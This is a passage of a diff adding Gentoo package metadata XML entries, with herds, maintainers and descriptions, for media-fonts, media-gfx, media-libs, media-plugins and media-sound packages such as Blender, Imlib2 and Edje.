+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/monafont">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/mplus-fonts">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/sharefonts">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/shinonome">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/ttf-bitstream-vera">
+<herd>gnome</herd>
+<maintainer>
+  <email>foser@gentoo.org</email>
+  <description>Part of the Gnome core distribution. </description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/twmoefonts">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/unifont">
+<herd>xfree</herd>
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/zh-kcfonts">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/DFBPoint">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/aoi">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/blender">
+
+	<herd>media-gfx</herd>
+
+	<maintainer>
+		<email>malverian@gentoo.org</email>
+		<name>Philip Walls</name>
+	</maintainer>
+
+	<maintainer>
+		<email>lu_zero@gentoo.org</email>
+		<name>Luca Barbato</name>
+	</maintainer>
+
+	<longdescription>Blender, the open source software for 3D modeling, animation, rendering, post-production, interactive creation and playback. Available for Windows, Linux, Irix, Sun Solaris, FreeBSD or Mac OS X.</longdescription>
+
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/ebony">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+Ebony is a tools for Enlightenment that creates special bits called &quot;bg.db&quot;s, or 
+background bits. Because Enlightenment uses eBits for anything and everything 
+related to graphics layout we also use them to design and display our wallpaper. 
+Rather than simply using scaled images like in previous versions, you can use 
+Ebony to design background bits much like Etcher, including layering, relative 
+positioning, tiling, and much more. The big advantage is that using Ebony you can 
+have exceptional flexibility in your wallpaper design.
+
+No longer do you need to create 5 versions of the same background to make it look 
+properly on diffrent resolutions. Now you can lay images together in layers, that 
+position themselves based on the users screen and not your own. This way your 
+designs look as perfect on a 1024x768 desktop as they do on a 3840x1024 trihead.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/elicit">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/entice">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+the E image browser
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/eog">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/etcher">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+Etcher is a graphical editing tool for creating and manipulating Ebits GUI 
+elements. Just as an example, the window borders currently used in E17 were 
+created with Etcher.
+Using Etcher you can arrange various images, and define their behavior when the 
+GUI element is resized. Etcher is not a drawing program. Etcher-made GUI elements 
+can be used by any application that uses the Ebits library.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gimp-freetype">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gimp-print">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gimp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/giram">
+<herd>graphics</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gnome-iconedit">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gphoto">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gphoto2">
+<herd>gnome</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gpp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gqview">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/grace">
+<herd>graphics</herd>
+<herd>sci</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gthumb">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gtkam">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gtksee">
+<herd>no-herd</herd>
+<maintainer>
+  <email>mr_bones_@gentoo.org</email>
+  <name>Michael Sterrett</name>
+</maintainer>
+<longdescription>
+GTK See is simple image viewer based on GTK+ and running on X Window
+System. The appearance and interface are similar to popular image
+viewer ACD See, that is where the name &quot;GTK See&quot; come from.  GTK See is
+distributed under the GPL.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/gwenview">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/imagemagick">
+<herd>media-gfx</herd>
+<maintainer>
+<email>graphics@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/jpegoptim">
+<herd>graphics</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/k3d">
+<herd>graphics</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/lprof">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/optipng">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+OptiPNG is a PNG optimizer that recompresses the image files to a smaller size, without losing any information.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/plustek-parallel">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+<description>Committed on user request, not using any scanner.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/pngrewrite">
+<herd>no-herd</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/pstoedit">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/radiance">
+	<herd>media-gfx</herd>
+	<maintainer>
+		<email>malverian@gentoo.org</email>
+		<name>Philip Walls</name>
+	</maintainer>
+	<longdescription>Radiance is intended to aid lighting designers and architects by predicting the light levels and appearance of a space prior to construction. The package includes programs for modeling and translating scene geometry, luminaire data and material properties, all of which are needed as input to the simulation. The lighting simulation itself uses ray tracing techniques to compute radiance values (ie. the quantity of light passing through a specific point in a specific direction), which are typically arranged to form a photographic quality image. The resulting image may be analyzed, displayed and manipulated within the package, and converted to other popular image file formats for export to other packages, facilitating the production of hard copy output.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/sam2p">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/sane-backends">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+  <description>No real maintainer, don't even have a scanner. Just looks like I sometimes fix bugs. If you want to maintain this, just go ahead.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/showimg">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/skencil">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/sodipodi">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/springgraph">
+<herd>no-herd</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+<longdescription> Springgraph will read in a .dot file description of a graph,
+    which, for each node, specifies its name and which other nodes it is
+    connected to, and then renders a graph. Each node is drawn as an ellipse,
+    and each connection is drawn as an arrow. The node placement is a result of
+    all of the nodes moving away from each other, while all nodes which are
+    connected move toward each other. This movement is repeated until it
+    stabilizes.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/surf">
+<herd>no-herd</herd>
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+  <name>MATSUU Takuto</name>
+</maintainer>
+<longdescription>surf is a tool to visualize some real algebraic geometry: plane algebraic curves, algebraic surfaces and hyperplane sections of surfaces. surf is script driven and has (optionally) a nifty GUI using the Gtk widget set. </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/swftools">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rizzo@gentoo.org</email>
+  <name>Don Seiler</name>
+  <!-- <description></description> -->
+</maintainer>
+<longdescription> SWF Tools is a collection of SWF manipulation and generation utilities written by Rainer B&#xF6;hme and Matthias Kramm.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/transfig">
+	<maintainer>
+		<email>malverian@gentoo.org</email>
+		<name>Philip Walls</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/truevision">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/tuxpaint">
+<herd>gnome</herd>
+<maintainer><email>leonardop@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/videorbits">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/viewer">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/w3mimgfb">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/xli">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/xpaint">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/xsane">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/xzgv">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/yablex">
+<herd>graphics</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/zgv">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-gfx/zphoto">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/alsa-lib">
+<herd>sound</herd>
+<maintainer>
+  <email>agenkin@gentoo.org</email>
+  <name>Arcady Genkin</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/alsa-oss">
+<herd>sound</herd>
+<maintainer>
+  <email>agenkin@gentoo.org</email>
+  <name>Arcady Genkin</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/divx4linux">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/ebg">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Enlightenment Background Library API: create backgrounds with multiple images, boxes, 
+or gradients
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/ebits">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+The Ebits library provides layout functionality for graphical elements like window 
+borders and is based on Evas. It defines the behavior of GUI elements when they are 
+resized, callbacks to call when elements are activated and more. The GUI elements are 
+stored in Edb databases.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/edje">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Edje is a complex graphical design and layout library.
+
+It's purpose is to be a sequel to &quot;Ebits&quot; which to date has serviced the needs of 
+Enlightenment development for version 0.17. The original design paramteres under 
+which Ebits came about were a lot more restricted than the resulting use of them, 
+thus Edje was born.
+
+Edje is a more complex layout engine compared to Ebits. It doesn't pretend to do 
+containering and regular layout like a widget set. It still inherits the more 
+simplistic layout ideas behind Ebits, but it now does them a lot more cleanly, 
+allowing for easy expansion, and the ability to cover much more ground than Ebits 
+ever could. For the purposes of Enlightenment 0.17, Edje should serve all the 
+purposes of creating visual elements (borders of windows, scrollbars, etc.) and 
+allow the designer the ability to animate, layout and control the look and feel of 
+any program using Edje as its basic GUI constructor. This library allows for 
+multiple collections of Layouts in one file, sharing the same image database and 
+thus allowing a whole theme to be conveneintly packaged into 1 file and shipped 
+around.
+
+Edje, unlike Ebits, separates the layout and behavior logic. Edje files ship with an 
+image database, used by all the parts in all the collections to source graphical 
+data. It has a directory of logical part names pointing to the part collection entry 
+ID in the file (thus allowing for multiple logical names to point to the same part 
+collection, allowing for the sharing of data betwene display elements). Each part 
+collection consists of a list of visual parts, as well as a list of programs. A 
+program is a conditionally run program that if a particular event occurs (a button 
+is pressed, a mouse enters or leaves a part) will trigger an action that may affect 
+other parts. In this way a part collection can be &quot;programmed&quot; via its file as to 
+hilight buttons when the mouse passes over them or show hidden parts when a button 
+is clicked somewhere etc. The actions performed in changing from one state to 
+another ar also allowed to transition over a period of time, allowing animation.
+
+This separation and simplistic event driven style of programming can produce almost 
+any look and feel one could want for basic visual elements. Anything more complex is 
+likely the domain of an application or widget set that may use Edje as a conveneient 
+way of being able to configure parts of the display.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/epeg">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+wicked fast jpeg thumbnail generator
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/epsilon">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+This is a small, display independent, and quick thumbnailing library.
+The lib itself conforms to the standard put forth by freedesktop.org
+You can find out more information about it at
+http://triq.net/~jens/thumbnail-spec/index.html.  It seemed better to
+break it out into a component that only depended on what was absolutely
+necessary.  Upon showing raster the wonders of freedesktop.org
+thumbnailing, he proclaimed that it was far to slow, this prompted him
+to write epeg.  Epeg offers very noticeable speed increases to this
+standard, but is only available if the input image is a jpeg file.  If
+the file is anything other than jpg, the traditional freedesktop.org png
+thumbnailing will occur.  To show the speed increase epeg offers,
+Epsilon builds with and without epeg.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/estyle">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+simple API for adding text to an evas with a stylized effect
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/etox">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Etox is a type setting and text layout library based on Evas. Etox helps you when it 
+comes to displaying, moving, resizing, layering, clipping, aligning and coloring 
+fonts in different styles, and more.
+
+A typical application is the need for a text layout engine that can dynamically 
+arrange text flow around other graphical obstacles. See the following images 
+illustrating just that.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/faac">
+<herd>media-sound</herd>
+<maintainer>
+  <email>tester@gentoo.org</email>
+    <name>Olivier Cr&#xEA;te</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/fnlib">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Font Library for enlightenment
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/freetype">
+<herd>no-herd</herd>
+<maintainer>
+  <email>foser@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/gdk-pixbuf">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/gst-plugins">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/gstreamer">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/imlib2">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+Imlib 2 is the successor to Imlib. It is not just a newer version - it is a 
+completely new library. Imlib2 can be installed alongside Imlib 1.x without any 
+problems since they are effectively different libraries - but they Have very 
+similar functionality.
+
+Imlib2 can do the following:
+* Load image files from disk in one of many formats
+* Save images to disk in one of many formats
+* Render image data onto other images
+* Render images to an X-Windows drawable
+* Produce pixmaps and pixmap masks of Images
+* Apply filters to images
+* Rotate images
+* Accept RGBA Data for images
+* Scale images
+* Alpha blend Images on other images or drawables
+* Apply color correction and modification tables and factors to images
+* Render images onto images with color correction and modification tables
+* Render truetype anti-aliased text
+* Render truetype anti-aliased text at any angle
+* Render anti-aliased lines
+* Render rectangles
+* Render linear multi-colored gradients
+* Cache data intelligently for maximum performance
+* Allocate colors automatically
+* Allow full control over caching and color allocation
+* Provide highly optimized MMX assembly for core routines
+* Provide plug-in filter interface
+* Provide on-the-fly runtime plug-in image loading and saving interface
+* Fastest image compositing, rendering and manipulation library for X
+
+If what you want isn't in the list above somewhere then likely Imlib 2 does not 
+do it. If it does it it likely does it faster than any other library you can find 
+(this includes gdk-pixbuf, gdkrgb, etc.) primarily because of highly optimized 
+code and a smart subsystem that does the dirty work for you and picks up the 
+pieces for you so you can be lazy and let all the optimizations for you.
+
+Imlib 2 can run without a display, so it can be easily used for background image 
+processing for web sites or servers - it only requires the X libraries to be 
+installed - that is all - it does not require an XServer to run unless you wish 
+to display images.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/imlib2_loaders">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+additional image library loaders for imlib2
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/jasper">
+<herd>sci</herd>
+<maintainer>
+<email>phosphan@gentoo.org</email>
+<description>Added this as requirement for OpenDX, free for adoption</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/jpeg">
+<herd>graphics</herd>
+<maintainer>
+ <email>graphics@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/lcms">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libao">
+<herd>sound</herd>
+<maintainer>
+<email>spider@gentoo.org</email>
+<name>D.M.D. &quot;Spider&quot; Ljungmark</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libart_lgpl">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libcdaudio">
+<herd>no-herd</herd>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libdv">
+<herd>no-herd</herd>
+<maintainer><email>mholzer@gentoo.org</email></maintainer>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libdvb">
+<herd>media-tv</herd>
+<maintainer><email>lordvan@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libdvdcss">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libdvdnav">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libdvdplay">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libdvdread">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libemf">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libgd">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+gd is a graphics library. It allows your code to quickly draw images complete  
+with lines, arcs, text, multiple colors, cut and paste from other images, and
+flood fills, and write out the result as a PNG or JPEG file. This is particularly
+useful in World Wide Web applications, where PNG and JPEG are two of the formats
+accepted for inline images by most browsers.
+
+gd is not a paint program. If you are looking for a paint program, you are
+looking in the wrong place. If you are not a programmer, you are looking in the
+wrong place, unless you are installing a required library in order to run an
+application.
+
+gd does not provide for every possible desirable graphics operation. It is not
+necessary or desirable for gd to become a kitchen-sink graphics package, but
+version 2.0 does include most frequently requested features, including both  
+truecolor and palette images, resampling (smooth resizing of truecolor images)
+and so forth.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libgphoto2">
+<herd>gnome</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libmustux">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/libvorbis">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  <name>Gentoo Sound Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/openexr">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/plotutils">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/sdl-gfx">
+<herd>no-herd</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/sidplay-libs">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/speex">
+<herd>video</herd>
+<maintainer>
+  <email>media-video@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/swfdec">
+<herd>no-herd</herd>
+<maintainer>
+    <email>rizzo@gentoo.org</email>
+    <name>Don Seiler</name>
+</maintainer>
+<longdescription lang="C">
+    Swfdec is a library for rendering Flash&#xAE; animations and games.
+    It was originally designed as a basis library for creating Flash
+    plugins for GStreamer, but it is a fully standalone library which
+    only use the libart library for drawing.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/t1lib">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+  <description>I maintain the package because there is no herd for
+  fonts. If font.eclass will be introduced to Portage and font herd
+  created, This package will belong to font herd.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/taglib">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/vflib">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/win32codecs">
+<herd>video</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-libs/xine-lib">
+<herd>no-herd</herd>
+<maintainer>
+  <email>agenkin@gentoo.org</email>
+  <name>Arcady Genkin</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/alsa-xmms">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-a52dec">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-cdparanoia">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-colorspace">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-dv">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-esd">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-flac">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-gnomevfs">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-lame">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-libpng">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-mad">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-oss">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-raw1394">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-vorbis">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/gst-plugins-xvideo">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/jefferson">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/mythdvd">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/mythgallery">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/mythgame">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/mythmusic">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/mythnews">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/mythvideo">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/mythweather">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/realvideo-codecs">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/xmmplayer">
+<herd>sound</herd>
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/xmms-arts">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/xmms-coverviewer">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/xmms-goom">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/xmms-shn">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/xmms-sid">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-plugins/xmms-wmdiscotux">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/abcde">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/alsa-driver">
+<herd>sound</herd>
+<maintainer>
+  <email>agenkin@gentoo.org</email>
+  <name>Arcady Genkin</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/alsa-firmware">
+<herd>sound</herd>
+<maintainer>
+  <email>sound@gentoo.org</email>
+  <name>Gentoo Sound Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/alsa-tools">
+<herd>sound</herd>
+<maintainer>
+  <email>agenkin@gentoo.org</email>
+  <name>Arcady Genkin</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/alsa-utils">
+<herd>sound</herd>
+<maintainer>
+  <email>agenkin@gentoo.org</email>
+  <name>Arcady Genkin</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/alsamixergui">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-sound/ardour">
+<herd>sound</herd>
+<maintainer>
+  <email>tigger@gentoo.org</email>
+</maintainer>
